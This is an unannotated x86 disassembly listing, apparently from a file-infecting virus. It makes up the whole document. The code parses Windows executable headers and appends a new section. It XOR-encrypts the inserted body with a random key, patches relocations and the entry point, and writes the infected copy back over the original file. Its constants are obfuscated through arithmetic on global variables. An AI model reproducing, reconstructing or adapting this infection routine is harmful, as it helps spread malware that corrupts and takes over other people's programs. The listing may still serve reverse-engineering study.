movsx edx, word_44A104
movsx ecx, word_44A0A4
add edx, ecx
sub edx, 0Eh
cmp eax, edx
jnz short loc_441424
movsx eax, word_44A0FC
movsx edx, word_44A0B0
add eax, edx
cmp [ebp+eax+var_32014], 4Bh
jnz short loc_4414FE
movsx eax, word_44A160
movsx edx, word_44A27C
add eax, edx
cmp byte ptr [ebp+eax+var_3200C+1], 45h
jnz short loc_4414FE
mov eax, dword_44A204
cmp [ebp+eax+var_32006], 52h
jnz short loc_4414FE
mov eax, dword_44A12C
mov edx, dword_44A17C
add edx, eax
cmp byte ptr [ebp+edx+var_32010+1], 4Ch
jnz short loc_4414FE
mov edx, dword_44A1F4
add edx, dword_44A234
cmp byte ptr [ebp+edx+var_3200C+3], 33h
jnz short loc_4414FE
add eax, dword_44A158
cmp [ebp+eax+var_32011], 32h
jnz short loc_4414FE
mov [ebp+var_1174], 1
loc_4414FE: ; CODE XREF: sub_440F46+546j
; sub_440F46+560j ...
add [ebp+var_438], 14h
loc_441505: ; CODE XREF: sub_440F46+477j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_438], eax
jb loc_4413C2
loc_44151A: ; CODE XREF: sub_440F46+49Cj
cmp [ebp+var_1174], 0
jz loc_442422
lea eax, [ebp+var_31EC7]
mov [ebp+var_42C], eax
mov eax, [eax+3Ch]
mov [ebp+var_84C], eax
add eax, [ebp+var_42C]
mov [ebp+var_848], eax
cmp [ebp+var_1180], 0
jnz loc_4416EE
mov eax, [ebp+var_8]
mov [ebp+var_31F08], eax
mov edx, dword_44A1AC
sub edx, 5
cmp [eax+0D0h], edx
jz loc_4416EE
mov edx, [eax+0D4h]
mov [ebp+var_31F0C], edx
mov ecx, dword_44A11C
movsx edi, word_44A218
add ecx, edi
sub ecx, 0Ah
cmp edx, ecx
jz loc_4416EE
mov ecx, 28h
mov edi, [ebp+var_840]
add edi, 0F8h
mov eax, ecx
mov edx, [ebp+var_31F08]
movzx edx, word ptr [edx+6]
mov [ebp+var_31F10], edx
mul edx
mov [ebp+var_31F14], eax
mov edx, edi
add edx, eax
mov [ebp+var_31F1C], edx
mov eax, ecx
mov [ebp+var_31F18], eax
mov ecx, dword_44A138
add ecx, 4
mul ecx
mov [ebp+var_31F20], eax
mov eax, [ebp+var_31F1C]
mov edx, [ebp+var_31F20]
add eax, edx
mov edx, [ebp+var_31F0C]
add eax, edx
mov edx, [ebp+var_31F08]
cmp [edx+54h], eax
jbe loc_4416EE
mov eax, [ebp+var_840]
add eax, 0F8h
mov [ebp+var_31F2C], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F30], eax
mov eax, [ebp+var_31F2C]
mov edx, [ebp+var_31F30]
add eax, edx
mov [ebp+var_31F24], eax
mov [ebp+var_31F34], eax
mov eax, 28h
mov ecx, [ebp+var_848]
movzx ecx, word ptr [ecx+6]
mov edi, dword_44A1E4
add edi, dword_44A224
sub edi, 7
sub ecx, edi
mul ecx
mov [ebp+var_31F38], eax
mov eax, [ebp+var_31F34]
mov edx, [ebp+var_31F38]
add eax, edx
mov [ebp+var_31F28], eax
mov eax, [ebp+var_8]
push dword ptr [eax+0D4h]
mov eax, [ebp+var_4]
mov edx, [ebp+var_31F24]
add edx, eax
push edx
mov edx, [ebp+var_31F28]
add edx, eax
push edx
call ds:dword_448638
add esp, 0Ch
mov eax, [ebp+var_8]
add eax, 0D0h
mov [ebp+var_31F3C], eax
mov eax, 28h
mov ecx, [ebp+var_848]
movzx ecx, word ptr [ecx+6]
mov edi, dword_44A140
sub edi, 7
sub ecx, edi
mul ecx
mov [ebp+var_31F40], eax
mov eax, [ebp+var_31F3C]
mov edx, eax
mov ecx, [ebp+var_31F40]
add [edx], ecx
loc_4416EE: ; CODE XREF: sub_440F46+609j
; sub_440F46+627j ...
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_43CC87
mov [ebp+var_10], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F24], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F24]
mov esi, edx
add esi, eax
push offset dword_44A81C
call sub_43C507
push eax
push esi
call ds:dword_4461F4
mov eax, dword_44A234
add eax, 1FFFCh
mov [esi+8], eax
mov eax, [ebp+var_20]
mov [esi+0Ch], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+arg_8]
add eax, 0Dh
push eax
call sub_43CC87
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, dword_44A204
add eax, 0C000003Fh
mov [esi+24h], eax
movsx eax, word_44A144
mov edx, dword_44A278
lea eax, [eax+edx+4]
push eax
mov eax, dword_44A210
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 2
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_448644
mov eax, [ebp+var_20]
mov [ebp+var_1060], eax
mov eax, [ebp+var_10]
mov [ebp+var_850], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+var_10]
add eax, [esi+10h]
push eax
call sub_43CC87
add esp, 30h
mov [ebp+var_10], eax
movsx eax, word_44A208
add eax, 1FFFBh
add [ebp+var_20], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [esi+8]
mov [eax+50h], edx
call ds:dword_449BAC
mov edi, dword_44A164
sub edi, 3
mov ecx, 0FDh
cdq
idiv ecx
add edi, edx
mov [ebp+var_1064], edi
mov eax, dword_44A248
mov edx, [ebp+var_42C]
mov ecx, edi
xor ecx, 4Dh
mov [edx+eax], cl
movsx edi, word_44A130
movsx edx, word_44A0C0
add edi, edx
sub edi, 4
mov edx, [ebp+var_42C]
mov ecx, [ebp+arg_8]
shr ecx, 9
mov [edx+edi], cl
call ds:dword_449BAC
mov edi, [ebp+var_84C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F2C], edx
mov [ebp+var_31F28], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F2C]
mov [ecx+edi], dl
call ds:dword_449BAC
movsx edx, word_44A260
add edx, dword_44A21C
sub edx, 9
add edi, edx
mov edx, [ebp+var_42C]
mov [ebp+var_31F34], edx
mov [ebp+var_31F30], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F34]
mov [ecx+edi], dl
mov eax, dword_44A0B4
add eax, 34h
movsx edx, word_44A178
add eax, edx
mov [ebp+var_43C], eax
jmp short loc_441901
; ---------------------------------------------------------------------------
loc_4418CC: ; CODE XREF: sub_440F46+9C7j
call ds:dword_449BAC
mov edi, [ebp+var_43C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F3C], edx
mov [ebp+var_31F38], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F3C]
mov [ecx+edi], dl
inc [ebp+var_43C]
loc_441901: ; CODE XREF: sub_440F46+984j
mov eax, [ebp+var_84C]
cmp [ebp+var_43C], eax
jb short loc_4418CC
cmp [ebp+var_1180], 0
jz short loc_441990
mov eax, [ebp+var_8]
mov edx, [eax+34h]
add edx, [eax+28h]
mov eax, dword_44A17C
movsx ecx, word_44A1FC
add eax, ecx
sub eax, 3
add edx, eax
mov [ebp+var_31F40], edx
mov eax, [ebp+var_850]
add eax, dword_44A25C
mov edx, [ebp+var_4]
mov eax, [edx+eax]
mov [ebp+var_31F44], eax
movsx edx, word_44A250
mov ecx, dword_44A0DC
lea edx, [edx+ecx-5]
sub eax, edx
add eax, [ebp+var_31F40]
movsx edx, word_44A100
add edx, dword_44A1A8
dec edx
add eax, edx
mov [ebp+var_31F48], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_31F48]
sub edx, [eax+34h]
mov [eax+28h], edx
loc_441990: ; CODE XREF: sub_440F46+9D0j
push 0Dh
push offset dword_44A2C0
lea eax, [ebp+var_31ED4]
push eax
call ds:dword_448638
mov eax, [esi+10h]
add eax, 0Dh
push eax
lea eax, [ebp+var_31ED4]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_448638
add esp, 18h
mov eax, [esi+14h]
add eax, 0Dh
mov [ebp+var_1068], eax
movsx edx, word_44A218
sub edx, 3
add eax, edx
mov [ebp+var_424], eax
jmp short loc_4419FC
; ---------------------------------------------------------------------------
loc_4419E2: ; CODE XREF: sub_440F46+AC5j
mov eax, [ebp+var_424]
add eax, [ebp+var_4]
movzx edx, byte ptr [eax]
xor edx, [ebp+var_1064]
mov [eax], dl
inc [ebp+var_424]
loc_4419FC: ; CODE XREF: sub_440F46+A9Aj
mov eax, [ebp+var_1068]
add eax, [ebp+arg_8]
cmp [ebp+var_424], eax
jb short loc_4419E2
mov eax, dword_44A1EC
sub eax, 8
mov [ebp+var_18], eax
mov eax, dword_44A1E8
dec eax
mov [ebp+var_440], eax
jmp loc_441C6A
; ---------------------------------------------------------------------------
loc_441A29: ; CODE XREF: sub_440F46+D34j
mov eax, 28h
mul [ebp+var_440]
mov [ebp+var_31F44], eax
mov eax, [ebp+var_84C]
mov edx, [ebp+var_42C]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F44]
mov ebx, edx
add ebx, eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F48], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F48]
mov esi, edx
add esi, eax
mov eax, dword_44A184
add eax, dword_44A094
sub eax, 8
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_441AC1
mov eax, dword_44A228
sub eax, 2
cmp byte ptr [ebx+eax], 72h
jnz short loc_441AC1
mov eax, dword_44A1CC
dec eax
cmp byte ptr [ebx+eax], 63h
jnz short loc_441AC1
mov eax, [ebx+14h]
mov [ebp+var_1178], eax
jmp loc_441C64
; ---------------------------------------------------------------------------
loc_441AC1: ; CODE XREF: sub_440F46+B51j
; sub_440F46+B5Fj ...
mov eax, dword_44A0D4
movsx edx, word_44A1FC
add eax, edx
sub eax, 0Bh
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_441B19
movsx eax, word_44A118
add eax, dword_44A17C
sub eax, 7
cmp byte ptr [ebx+eax], 65h
jnz short loc_441B19
mov eax, dword_44A0AC
add eax, dword_44A26C
sub eax, 5
cmp byte ptr [ebx+eax], 61h
jnz short loc_441B19
mov eax, [ebx+14h]
mov [ebp+var_117C], eax
mov eax, [ebx+0Ch]
mov [ebp+var_1184], eax
jmp loc_441C64
; ---------------------------------------------------------------------------
loc_441B19: ; CODE XREF: sub_440F46+B90j
; sub_440F46+BA6j ...
mov eax, dword_44A094
mov edx, eax
sub edx, 6
cmp byte ptr [ebx+edx], 2Eh
jnz short loc_441B4A
movsx edx, word_44A218
sub edx, 4
cmp byte ptr [ebx+edx], 69h
jnz short loc_441B4A
add eax, dword_44A188
dec eax
cmp byte ptr [ebx+eax], 61h
jz loc_441C64
loc_441B4A: ; CODE XREF: sub_440F46+BE1j
; sub_440F46+BF1j
push ebx
push esi
call ds:dword_4461F4
mov eax, [ebx+8]
mov [esi+8], eax
mov eax, [ebp+var_20]
mov [esi+0Ch], eax
mov eax, [ebx+10h]
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, [ebx+24h]
mov [esi+24h], eax
mov eax, dword_44A280
add eax, 8
push eax
mov eax, dword_44A198
sub eax, 2
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_448644
mov edi, [ebp+var_18]
mov edx, [ebx+0Ch]
mov [ebp+edi*4+var_420], edx
mov edx, [ebx+8]
mov [ebp+edi*4+var_83C], edx
mov edx, [esi+0Ch]
mov [ebp+edi*4+var_C4C], edx
mov edx, [esi+14h]
mov [ebp+edi*4+var_1050], edx
inc [ebp+var_18]
mov eax, [ebx+10h]
add [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_31F40], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_43CC87
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, dword_44A0B8
sub eax, 2
cmp byte ptr [ebx+eax], 64h
jnz short loc_441C0D
mov eax, [ebp+var_31F40]
cmp [ebp+var_10], eax
jbe short loc_441C0D
mov ecx, [ebp+var_10]
sub ecx, eax
mov [ebp+var_31F4C], ecx
mov eax, ecx
add [esi+8], eax
mov eax, ecx
add [esi+10h], eax
loc_441C0D: ; CODE XREF: sub_440F46+CA5j
; sub_440F46+CB0j
movsx eax, word_44A250
movsx edx, word_44A180
lea eax, [eax+edx+0FFBh]
push eax
mov eax, [ebp+var_20]
add eax, [ebx+8]
push eax
call sub_43CC87
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [ebx+8]
mov [eax+50h], edx
push dword ptr [esi+10h]
mov eax, [ebx+14h]
add eax, [ebp+var_42C]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_448638
add esp, 14h
loc_441C64: ; CODE XREF: sub_440F46+B76j
; sub_440F46+BCEj ...
inc [ebp+var_440]
loc_441C6A: ; CODE XREF: sub_440F46+ADEj
mov eax, [ebp+var_848]
movzx eax, word ptr [eax+6]
cmp [ebp+var_440], eax
jb loc_441A29
mov eax, [ebp+var_1178]
add eax, [ebp+var_42C]
mov [ebp+var_14], eax
loc_441C8F: ; CODE XREF: sub_440F46+F90j
mov eax, dword_44A134
movsx edx, word_44A150
add eax, edx
sub eax, 10h
mov [ebp+var_1C], eax
jmp short loc_441D01
; ---------------------------------------------------------------------------
loc_441CA5: ; CODE XREF: sub_440F46+DC1j
mov edi, [ebp+var_1C]
mov edx, [ebp+var_14]
mov edx, [edx]
cmp [ebp+edi*4+var_420], edx
jnz short loc_441CC1
mov eax, [ebp+var_14]
mov eax, [eax]
mov [ebp+var_C50], eax
loc_441CC1: ; CODE XREF: sub_440F46+D6Ej
mov edi, [ebp+var_1C]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
mov edi, [ebp+var_14]
cmp edx, [edi]
jbe short loc_441CFE
mov edi, [ebp+var_1C]
mov edi, [ebp+edi*4+var_1050]
mov [ebp+var_106C], edi
mov edi, [ebp+var_1C]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1054], edi
jmp short loc_441D09
; ---------------------------------------------------------------------------
loc_441CFE: ; CODE XREF: sub_440F46+D94j
inc [ebp+var_1C]
loc_441D01: ; CODE XREF: sub_440F46+D5Dj
mov eax, [ebp+var_18]
cmp [ebp+var_1C], eax
jb short loc_441CA5
loc_441D09: ; CODE XREF: sub_440F46+DB6j
mov eax, dword_44A15C
add eax, dword_44A154
sub eax, 10h
mov [ebp+var_428], eax
jmp loc_441E9C
; ---------------------------------------------------------------------------
loc_441D22: ; CODE XREF: sub_440F46+F62j
mov eax, [ebp+var_428]
mov edx, dword_44A28C
movsx ecx, word_44A264
add edx, ecx
sub edx, 7
add eax, edx
add eax, [ebp+var_14]
mov [ebp+var_31F44], eax
mov ax, [eax]
mov word ptr [ebp+var_31F40], ax
movzx eax, word ptr [ebp+var_31F40]
mov edx, dword_44A224
add edx, dword_44A18C
sub edx, 5
cmp eax, edx
jz loc_441EAE
movzx edi, word ptr [ebp+var_31F40]
movsx edx, word_44A178
mov ecx, dword_44A1B0
lea ecx, [edx+ecx+1]
sar edi, cl
mov word ptr [ebp+var_31F48+2], di
movzx edi, word ptr [ebp+var_31F40]
movsx ecx, word_44A178
shl edi, cl
mov word ptr [ebp+var_31F40+2], di
movzx edi, word ptr [ebp+var_31F40+2]
movsx edx, word_44A0D8
add edx, dword_44A12C
mov ecx, edx
sub ecx, 6
sar edi, cl
mov word ptr [ebp+var_31F40+2], di
movzx eax, word ptr [ebp+var_31F40+2]
movsx edx, word_44A0B0
sub edx, 7
cmp eax, edx
jnz short loc_441DF6
mov eax, dword_44A18C
add eax, dword_44A0A0
sub eax, 4
cmp [ebp+var_428], eax
jnz loc_441EAE
loc_441DF6: ; CODE XREF: sub_440F46+E94j
mov eax, [ebp+var_848]
mov eax, [eax+34h]
mov edx, [ebp+var_14]
add eax, [edx]
movzx edx, word ptr [ebp+var_31F40+2]
add eax, edx
mov [ebp+var_31F4C], eax
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1054]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F40+2]
add eax, edx
mov [ebp+var_31F50], eax
sub eax, [ebp+var_31F4C]
mov [ebp+var_31F54], eax
movzx eax, word ptr [ebp+var_31F48+2]
movsx edx, word_44A1F0
movsx ecx, word_44A250
add edx, ecx
dec edx
cmp eax, edx
jnz short loc_441E8C
mov eax, [ebp+var_106C]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F40+2]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F58], eax
mov edx, [ebp+var_31F54]
add [eax], edx
loc_441E8C: ; CODE XREF: sub_440F46+F19j
movsx eax, word_44A178
sub eax, 2
add [ebp+var_428], eax
loc_441E9C: ; CODE XREF: sub_440F46+DD7j
mov eax, [ebp+var_14]
mov eax, [eax+4]
cmp [ebp+var_428], eax
jb loc_441D22
loc_441EAE: ; CODE XREF: sub_440F46+E21j
; sub_440F46+EAAj
mov eax, [ebp+var_14]
mov edx, [eax+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_848]
mov eax, [eax+0A4h]
mov edx, [ebp+var_1178]
add edx, [ebp+var_42C]
add eax, edx
cmp [ebp+var_14], eax
jb loc_441C8F
mov eax, [ebp+var_8]
mov ecx, [eax+28h]
mov [ebp+var_1188], ecx
mov edx, [ebp+var_1060]
mov [eax+28h], edx
cmp [ebp+var_1180], 0
jnz short loc_441F19
add eax, 60h
mov edx, [ebp+var_848]
mov edx, [edx+60h]
add [eax], edx
mov eax, [ebp+var_8]
add eax, 68h
mov edx, [ebp+var_848]
mov edx, [edx+68h]
add [eax], edx
loc_441F19: ; CODE XREF: sub_440F46+FB2j
mov eax, [ebp+var_8]
mov edx, dword_44A09C
add edx, 4
movsx ecx, word_44A178
add edx, ecx
mov [eax+44h], dx
mov edx, dword_44A0EC
add edx, dword_44A0A8
sub edx, 2
mov [eax+1Ah], dl
mov edx, dword_44A1B8
add edx, dword_44A184
sub edx, 5
mov [eax+46h], dx
mov eax, [ebp+var_117C]
add eax, [ebp+var_42C]
mov [ebp+var_31EE0], eax
mov eax, [ebp+var_117C]
mov edx, [ebp+var_31EE0]
add eax, [edx+1Ch]
sub eax, [ebp+var_1184]
mov [ebp+var_31EE4], eax
add eax, [ebp+var_42C]
mov [ebp+var_31EE8], eax
mov eax, [eax]
mov [ebp+var_1058], eax
mov eax, dword_44A0DC
sub eax, 3
mov [ebp+var_24], eax
jmp short loc_441FE6
; ---------------------------------------------------------------------------
loc_441FA5: ; CODE XREF: sub_440F46+10A6j
mov edi, [ebp+var_24]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
cmp edx, [ebp+var_1058]
jbe short loc_441FE3
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_420]
mov [ebp+var_118C], edi
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1194], edi
jmp short loc_441FEE
; ---------------------------------------------------------------------------
loc_441FE3: ; CODE XREF: sub_440F46+1079j
inc [ebp+var_24]
loc_441FE6: ; CODE XREF: sub_440F46+105Dj
mov eax, [ebp+var_18]
cmp [ebp+var_24], eax
jb short loc_441FA5
loc_441FEE: ; CODE XREF: sub_440F46+109Bj
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1194]
add eax, [ebp+var_1058]
sub eax, [ebp+var_118C]
mov [ebp+var_1190], eax
mov eax, [ebp+var_848]
mov eax, [eax+34h]
add eax, [ebp+var_1058]
mov [ebp+var_1058], eax
mov eax, [ebp+var_850]
mov [ebp+var_C], eax
jmp loc_4422F4
; ---------------------------------------------------------------------------
loc_44202F: ; CODE XREF: sub_440F46+13BAj
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov [ebp+var_31F40], edx
movzx ecx, byte ptr [edx+eax]
mov edi, dword_44A26C
add edi, 0E0h
cmp ecx, edi
jnz loc_442187
mov ecx, dword_44A1E8
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
movsx edi, word_44A170
add edi, dword_44A1D0
sub edi, 9
cmp ecx, edi
jnz loc_442187
movsx ecx, word_44A0B0
sub ecx, 5
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_44A090
movsx edx, word_44A174
add edi, edx
mov edx, edi
sub edx, 0Ah
cmp ecx, edx
jnz loc_442187
mov edx, dword_44A1E8
add edx, 2
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F40]
movzx edx, byte ptr [edx+ecx]
movsx ecx, word_44A264
movsx edi, word_44A230
add ecx, edi
sub ecx, 0Fh
cmp edx, ecx
jnz loc_442187
movsx edx, word_44A100
inc edx
add eax, edx
mov edx, [ebp+var_31F40]
movzx eax, byte ptr [edx+eax]
movsx edx, word_44A260
sub edx, 2
cmp eax, edx
jnz loc_442187
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F44], eax
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1188]
mov [ebp+var_31F48], eax
movsx eax, word_44A180
add eax, 0FFFFFFFBh
sub eax, [ebp+var_31F44]
add eax, [ebp+var_31F48]
mov edx, dword_44A274
inc edx
movsx ecx, word_44A0C0
add edx, ecx
sub eax, edx
mov [ebp+var_31F4C], eax
movsx edi, word_44A0C0
movsx edx, word_44A150
add edi, edx
mov edx, [ebp+var_C]
mov ecx, dword_44A238
inc ecx
add ecx, dword_44A0C8
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-28h], ecx
loc_442187: ; CODE XREF: sub_440F46+1107j
; sub_440F46+112Dj ...
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov [ebp+var_31F44], edx
movzx ecx, byte ptr [edx+eax]
movsx edi, word_44A1E0
mov edx, dword_44A128
lea edx, [edi+edx+0DCh]
cmp ecx, edx
jnz loc_4422F1
mov edx, dword_44A0A0
sub edx, 3
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F44]
movzx edx, byte ptr [edx+ecx]
movsx ecx, word_44A24C
sub ecx, 9
cmp edx, ecx
jnz loc_4422F1
mov edx, dword_44A18C
movsx ecx, word_44A22C
add edx, ecx
sub edx, 5
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F44]
movzx edx, byte ptr [edx+ecx]
mov ecx, dword_44A1E4
movsx edi, word_44A150
add ecx, edi
sub ecx, 0Ch
cmp edx, ecx
jnz loc_4422F1
mov edx, dword_44A210
movsx ecx, word_44A104
add ecx, edx
sub ecx, 6
mov edi, eax
add edi, ecx
mov ecx, [ebp+var_31F44]
movzx ecx, byte ptr [ecx+edi]
mov edi, dword_44A25C
sub edi, 8
cmp ecx, edi
jnz loc_4422F1
movsx ecx, word_44A250
lea edx, [edx+ecx+2]
add eax, edx
mov edx, [ebp+var_31F44]
movzx eax, byte ptr [edx+eax]
movsx edx, word_44A264
add edx, dword_44A17C
sub edx, 0Eh
cmp eax, edx
jnz short loc_4422F1
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F48], eax
mov eax, [ebp+var_1190]
mov [ebp+var_31F4C], eax
mov eax, dword_44A1AC
add eax, 0FFFFFFFAh
sub eax, [ebp+var_31F48]
add eax, [ebp+var_31F4C]
movsx edx, word_44A178
add edx, dword_44A0A0
sub edx, 4
sub eax, edx
mov [ebp+var_31F50], eax
movsx edi, word_44A150
add edi, dword_44A09C
mov edx, [ebp+var_C]
mov ecx, dword_44A268
add ecx, dword_44A11C
sub ecx, 8
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-34h], ecx
loc_4422F1: ; CODE XREF: sub_440F46+1267j
; sub_440F46+1290j ...
inc [ebp+var_C]
loc_4422F4: ; CODE XREF: sub_440F46+10E4j
mov eax, [ebp+var_850]
add eax, 0Dh
cmp [ebp+var_C], eax
jb loc_44202F
push [ebp+var_1070]
call ds:dword_448654 ; CloseHandle
push [ebp+arg_0]
lea eax, [ebp+var_116F]
push eax
call ds:dword_4461F4
add esp, 8
lea ecx, [ebp+var_116F]
or eax, 0FFFFFFFFh
loc_44232E: ; CODE XREF: sub_440F46+13EDj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_44232E
mov [ebp+var_31ED8], eax
movsx edx, word_44A0A4
sub edx, 3
sub eax, edx
mov [ebp+eax+var_116F], 69h
mov eax, [ebp+var_31ED8]
mov edx, dword_44A23C
add edx, dword_44A154
sub edx, 0Ah
sub eax, edx
mov [ebp+eax+var_116F], 76h
mov eax, [ebp+var_31ED8]
movsx edx, word_44A1FC
movsx ecx, word_44A218
add edx, ecx
sub edx, 9
sub eax, edx
mov [ebp+eax+var_116F], 72h
push 0
mov eax, dword_44A0D4
sub eax, 6
push eax
push 2
push 0
movsx eax, word_44A1E0
movsx edx, word_44A1C0
add eax, edx
sub eax, 7
push eax
push 40000000h
lea eax, [ebp+var_116F]
push eax
call ds:dword_449788 ; CreateFileA
mov [ebp+var_1070], eax
push 0
lea eax, [ebp+var_31EDC]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call ds:dword_449B8C ; WriteFile
push [ebp+var_1070]
call ds:dword_448654 ; CloseHandle
push [ebp+var_4]
call ds:dword_44661C ; LocalFree
push 0
push [ebp+arg_0]
lea eax, [ebp+var_116F]
push eax
call ds:dword_447364 ; CopyFileA
lea eax, [ebp+var_116F]
push eax
call ds:dword_444008 ; DeleteFileA
mov eax, 1
jmp short loc_442439
; ---------------------------------------------------------------------------
loc_442422: ; CODE XREF: sub_440F46+C3j
; sub_440F46+DDj ...
push [ebp+var_1070]
call ds:dword_448654 ; CloseHandle
push [ebp+var_4]
call ds:dword_44661C ; LocalFree
xor eax, eax
loc_442439: ; CODE XREF: sub_440F46+5Fj
; sub_440F46+14DAj
pop edi
pop esi
pop ebx
leave
retn
sub_440F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44243E proc near ; CODE XREF: sub_43CE89+A8p
; sub_43CE89+16Bp
var_1000C = dword ptr -1000Ch
var_10003 = byte ptr -10003h
var_FFFF = byte ptr -0FFFFh
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10004h
call sub_442F6C
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
lea edi, dword_447260
cmp [ebp+arg_4], 43h
jnz short loc_442463
lea edi, dword_4460F0
loc_442463: ; CODE XREF: sub_44243E+1Dj
push 0
push 80h
push 3
push 0
push 3
push 0C0000000h
push edi
call ds:dword_449788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_44251D
push 0
push 0
push esi
push edi
call ds:dword_449B9C ; SetFilePointer
push 0
lea eax, [ebp+var_4]
push eax
push 0FFFFh
lea eax, [ebp+var_10003]
push eax
push edi
call ds:dword_444028 ; ReadFile
lea ecx, [ebp+var_FFFF]
or eax, 0FFFFFFFFh
loc_4424B5: ; CODE XREF: sub_44243E+7Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4424B5
mov edx, dword_44A238
add edx, 1
movsx ecx, word_44A1C0
add edx, ecx
mov ebx, eax
add ebx, edx
mov [ebp+var_4], ebx
mov ebx, dword_44A0C8
add ebx, dword_44A258
mov edx, [ebp+var_4]
mov [ebp+ebx*4+var_1000C+1], edx
push 0
push 0
push esi
push edi
call ds:dword_449B9C ; SetFilePointer
push 0
lea eax, [ebp+var_4]
push eax
movsx eax, word_44A264
sub eax, 5
push eax
lea eax, [ebp+var_10003]
push eax
push edi
call ds:dword_449B8C ; WriteFile
push edi
call ds:dword_448654 ; CloseHandle
loc_44251D: ; CODE XREF: sub_44243E+43j
pop edi
pop esi
pop ebx
leave
retn
sub_44243E endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442524 proc near ; CODE XREF: sub_439DC4+13p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
cld
mov edi, [ebp+arg_4]
mov eax, 1
stosd
mov ecx, 0Fh
dec eax
rep stosd
lea edi, dword_44BB28
mov esi, [ebp+arg_0]
mov ecx, 10h
rep movsd
mov edi, [ebp+arg_8]
call sub_4425EF
xor edx, edx
loc_442554: ; CODE XREF: sub_442524+52j
push edx
push ebx
mov eax, [ebp+arg_8]
bt [eax], edx
jnb short loc_442566
mov edx, [ebp+arg_4]
call sub_442580
loc_442566: ; CODE XREF: sub_442524+38j
lea edx, dword_44BB28
call sub_442580
pop ebx
pop edx
inc edx
cmp edx, ebx
jbe short loc_442554
popa
pop ebp
retn 10h
